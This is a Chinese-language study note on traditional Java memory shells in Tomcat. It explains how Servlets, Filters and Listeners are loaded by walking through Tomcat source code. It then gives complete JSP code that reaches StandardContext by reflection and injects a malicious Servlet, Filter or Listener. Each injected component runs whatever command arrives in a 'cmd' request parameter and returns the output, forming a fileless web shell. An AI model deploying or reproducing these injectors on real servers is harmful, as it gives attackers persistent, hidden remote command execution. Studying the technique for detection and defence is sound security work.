JavaSec 入门-07-传统内存马
Java 开摆这么久真是该死,但是现在要 all in了,前面的 JNDI,RMI,Fastjson 最近会写
前言
当 CC 链暂时告一段落,面对 JavaWeb,我们该何去何从?内存马是不得不学的重要部分
这篇笔记主要记录传统 Java 内存马,即Servlet,Filter,Listener三种的原理及实现
主要参考文章 完全零基础从0到1掌握Java内存马,因为懒照搬了一些文字内容 : /
本文使用 jdk8 , Tomcat 版本8.5.100
Servlet
前置
参考Tomcat 架构原理解析到架构设计借鉴,Java Web(一) Servlet详解!!
首先了解一下整体架构,Wrapper
表示一个 Servlet
,Context
表示一个 Web 应用程序,而一个 Web 程序可能有多个 Servlet
;Host
表示一个虚拟主机,或者说一个站点,一个 Tomcat 可以配置多个站点(Host);一个站点( Host) 可以部署多个 Web 应用;Engine
代表 引擎,用于管理多个站点(Host),一个 Service 只能有 一个 Engine
。
- Tomcat 将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,所有的HTTP头数据读可以通过 request 对象调用对应的方法查询到。
- Tomcat 同时会要响应的信息封装为 HttpServletResponse 类型的 response 对象,通过设置 response 属性就可以控制要输出到浏览器的内容,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器
这两个封装好的 request 和 response 对象在之后会有不少用处
初始化
这一部分采用嵌入式 tomcat 也就是所谓的tomcat-embed-core
,暂时不用下载的 tomcat
导入
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;
public class Main {
public static void main(String[] args) throws LifecycleException {
Tomcat tomcat = new Tomcat();
tomcat.getConnector();
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
Tomcat.addServlet(context, "helloServlet", new HelloServlet());
context.addServletMappingDecoded("/hello", "helloServlet");
tomcat.start();
tomcat.getServer().await();
}
}
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("Hello, World!");
out.println("</body></html>");
}
}
org/apache/catalina/core/StandardWrapper.java
下个断点进来看一下
在org/apache/catalina/startup/ContextConfig.java
中1510行左右
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
直接照搬:首先通过webxml.getServlets()
获取的所有Servlet
定义,并建立循环;然后创建一个Wrapper
对象,并设置Servlet
的加载顺序、是否启用(即获取</load-on-startup>
标签的值)、Servlet
的名称等基本属性;接着遍历Servlet
的初始化参数并设置到Wrapper
中,并处理安全角色引用、将角色和对应链接添加到Wrapper
中;如果Servlet
定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement
;设置Servlet
是否支持异步操作;通过context.addChild(wrapper);
将配置好的Wrapper
添加到Context
中,完成Servlet
的初始化过程。
上面大的for
循环中嵌套的最后一个for
循环则负责处理Servlet
的url
映射,将Servlet
的url
与Servlet
名称关联起来。
也就是说,Servlet
的初始化主要经历以下六个步骤:
- 创建
Wapper
对象; - 设置
Servlet
的LoadOnStartUp
的值; - 设置
Servlet
的名称; - 设置
Servlet
的class
; - 将配置好的
Wrapper
添加到Context
中; - 将
url
和servlet
类做映射
servlet装载流程分析
org.apache.catalina.core.StandardWrapper#loadServlet
下断点
关注org.apache.catalina.core.StandardContext#startInternal
:
装载顺序为Listener
-->Filter
-->Servlet
:
上面红框中的代码调用了org.apache.catalina.core.StandardContext#loadOnStartup
,跟进该方法,代码如下:
public boolean loadOnStartup(Container children[]) {
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
可以看到,这段代码先是创建一个TreeMap
,然后遍历传入的Container
数组,将每个Servlet
的loadOnStartup
值作为键,将对应的Wrapper
对象存储在相应的列表中;如果这个loadOnStartup
值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup
的升序的顺序来加载。
Servlet 内存马
经过上面的分析,大概了解了 Servlet 流程,如果想要写一个内存马,需要经过以下步骤:
找到
StandardContext
继承并编写一个恶意
servlet
创建
Wapper
对象设置
Servlet
的LoadOnStartUp
的值设置
Servlet
的Name
设置
Servlet
对应的Class
将
Servlet
添加到context
的children
中将
url
路径和servlet
类做映射
写一个 demo 调试一下,其实这个随机的路径不是必须,写好这个 shell.jsp 去访问,两个选一个即可
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
public class MyExp extends HttpServlet { // 准备已存在的恶意类
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 命令执行与回显...
InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
resp.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
}
}
%>
<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addServlet 方法中的动态生成内存马的代码块...
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("MyExp");
standardContext.addChild(wrapper);
MyExp myExp = new MyExp();
wrapper.setServletClass(myExp.getClass().getName());
wrapper.setServlet(myExp);
standardContext.dynamicServletAdded(wrapper);
standardContext.addServletMapping("/MyExp", wrapper.getName());
%>
分析
第一部分,先是StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
从当前HttpServletRequest
中获取ServletContext
对象,然后使用反射从ServletContext
对象中获取ApplicationContext
实例。最后通过反射获取ApplicationContext
对象的StandardContext
实例,到这里,我们就成功找到了StandardContext
。
关于这里面的三个Context
ServletContext
是Servlet
规范,org.apache.catalina.core.ApplicationContext
是ServletContext
的实现。org.apache.catalina.Context
接口是 tomcat 容器结构中的一种容器,代表的是一个 web 应用程序。是 tomcat 独有的。其标准实现是org.apache.catalina.core.StandardContext
。是 tomcat 容器的重要组成部分
第二部分,编写恶意Servlet
正常写就好,没什么可说的,也可以写doGet
那种
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
接着我们需要完成后续的六个任务:创建Wapper
对象、设置Servlet
的LoadOnStartUp
的值、设置Servlet
的Name
、设置Servlet
对应的Class
、将Servlet
添加到context
的children
中、将url
路径和servlet
类做映射,代码如下:
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);
总结下来就是对于 Servlet
里Context
进行操作,然后再 create 出来一个 wrapper 去加载
Filter
Filter
是用于对请求和响应进行过滤和处理的
从上图可以看出,这个filter
就是一个关卡,客户端的请求在经过filter
之后才会到Servlet
,那么如果我们动态创建一个filter
并且将其放在最前面,我们的filter
就会最先执行,当我们在filter
中添加恶意代码,就可以实现命令执行,形成内存马。
这些名词其实很容易理解,首先,需要定义过滤器FilterDef
,存放这些FilterDef
的数组被称为FilterDefs
,每个FilterDef
定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class
等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java
的代码中看出来;然后是FilterDefs
,它只是过滤器的抽象定义,而FilterConfigs
则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps
,它是用于将FilterConfigs
映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs
,从而确定要执行的过滤器链;而FilterChain
是由多个FilterConfigs
组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain
中的顺序依次执行每个过滤器,对请求进行过滤和处理。
简单的Filter
这个要用一下外部 tomcat,添加一个 Filter
进去
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Testtom</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.100</version> <!-- 根据你的Tomcat版本选择 -->
<scope>provided</scope>
</dependency>
</dependencies>
</project>
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/test")
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[*] Filter已销毁");
}
}
package org.example;
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("hello world");
}
}
启动服务器,访问 /test,关闭服务器会触发
运行流程
在 DoFilter 下断点看一下,找一下Filter
怎么加载进去的
在org.apache.catalina.core.StandardWrapperValve.java::invoke
方法里的
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
跟进看一下这个方法
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
// If there is no servlet to execute, return null
if (servlet == null) {
return null;
}
// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
// If there are no filter mappings, we are done
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}
// Acquire the information we will need to match filter mappings
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Return the completed filter chain
return filterChain;
}
这段代码先是判断servlet
是否为空,然后根据传入的ServletRequest
的类型来分类处理,如果是Request
类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain
,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet
和异步支持属性,关键点在于后面从Wrapper
中获取父级上下文(StandardContext
),然后获取该上下文中定义的过滤器映射数组(FilterMap
);最后遍历过滤器映射数组,根据请求的DispatcherType
和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链。
跟进原来的
filterChain.doFilter(request.getRequest(),response.getResponse());
在doFilter
方法中会调用org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
方法,在这个方法中会依次拿到filterConfig
和filter
:
从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码
Filter内存马
经过上述分析,如果我们想要写一个Filter
内存马,需要经过以下步骤:
参考:(https://longlone.top/安全/java/java安全/内存马/Tomcat-Filter型/)
- 获取
StandardContext
; - 继承并编写一个恶意
filter
; - 实例化一个
FilterDef
类,包装filter
并存放到StandardContext.filterDefs
中; - 实例化一个
FilterMap
类,将我们的Filter
和urlpattern
相对应,使用addFilterMapBefore
存放到StandardContext.filterMaps
中; - 通过反射获取
filterConfigs
,实例化一个FilterConfig
(ApplicationFilterConfig
)类,传入StandardContext
与filterDefs
,存放到filterConfig
中。
需要注意的是,一定要先修改filterDef
,再修改filterMap
,不然会抛出找不到filterName
的异常。
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String filterName = getRandomString();
if (filterConfigs.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String cmd = httpServletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
out.print("[+] Malicious filter injection successful!<br>[+] Filter name: " + filterName + "<br>[+] Below is a list displaying filter names and their corresponding URL patterns:");
out.println("<table border='1'>");
out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");
List<String[]> allUrlPatterns = new ArrayList<>();
for (Object filterConfigObj : filterConfigs.values()) {
if (filterConfigObj instanceof ApplicationFilterConfig) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
String filtername = filterConfig.getFilterName();
FilterDef filterdef = standardContext.findFilterDef(filtername);
if (filterdef != null) {
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (FilterMap filtermap : filterMaps) {
if (filtermap.getFilterName().equals(filtername)) {
String[] urlPatterns = filtermap.getURLPatterns();
allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中
out.println("<tr><td>" + filtername + "</td>");
out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
}
}
}
}
}
out.println("</table>");
for (String[] urlPatterns : allUrlPatterns) {
for (String pattern : urlPatterns) {
if (!pattern.equals("/*")) {
out.println("[+] shell: http://localhost:8080/test" + pattern + "?cmd=ipconfig<br>");
}
}
}
}
%>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>
分析
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
前七行和之前一样拿到StandardContext
,最后是获取StandardContext
的私有字段filterConfigs
,设置可访问之后通过反射获取StandardContext
的filterConfigs
字段的值。
然后是
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
也就是定义我们自己的filterDef
和FilterMap
并加入到srandardContext
中,接着反射获取 ApplicationFilterConfig
类的构造函数,然后创建了一个 ApplicationFilterConfig
对象的实例,接着将刚刚创建的实例添加到过滤器配置的 Map
中,filterName
为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中。
总结就是 Filter 型需要对srandardContext
操作,主要两个部分,FilterDef
和FilterMap
Listener
在tomcat
中,常见的Listener
有以下几种:
ServletContextListener
,用来监听整个Web
应用程序的启动和关闭事件,需要实现contextInitialized
和contextDestroyed
这两个方法;ServletRequestListener
,用来监听HTTP
请求的创建和销毁事件,需要实现requestInitialized
和requestDestroyed
这两个方法;HttpSessionListener
,用来监听HTTP
会话的创建和销毁事件,需要实现sessionCreated
和sessionDestroyed
这两个方法;HttpSessionAttributeListener
,监听HTTP
会话属性的添加、删除和替换事件,需要实现attributeAdded
、attributeRemoved
和attributeReplaced
这三个方法。
很明显,ServletRequestListener
是最适合做内存马的,因为它只要访问服务就能触发操作。
使用之前 Filter 的环境但是我们要替换掉 TestFilter.java, 写一个 TestListener.java
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
@WebListener("/test")
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("[+] initial TestListener");
}
}
如图位置下断点,然后找org.apache.catalina.core.StandardContext#listenerStart
方法的调用
先查找再实例化
在下面调用了,也就是加进去ApplicationEventListeners
eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
然后我们在StandardContext.java
里面发现了一个addApplicationEventListener
方法
Listener内存马
所以如果我们想要写一个Listener
内存马,需要经过以下步骤:
继承并编写一个恶意
Listener
获取
StandardContext
调用
StandardContext.addApplicationEventListener()
添加恶意Listener
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%!
public class EvilListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().setCharacterEncoding("GBK");
request.getResponse().getWriter().write(out);
}
catch (Exception ignored) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);
out.println("[+] Inject Listener Memory Shell successfully!<br>[+] Shell url: http://localhost:8080/test/?cmd=ipconfig");
%>
分析
主要是这一部分
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);
前面获取StandardContext
,后面实例化我们编写的恶意Listener
,调用addApplicationEventListener
方法加入到applicationEventListenersList
中去,这样最终就会到eventListener
。
参考文章
深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术Java Web(一) Servlet详解!!
及这些文章中所提到的文章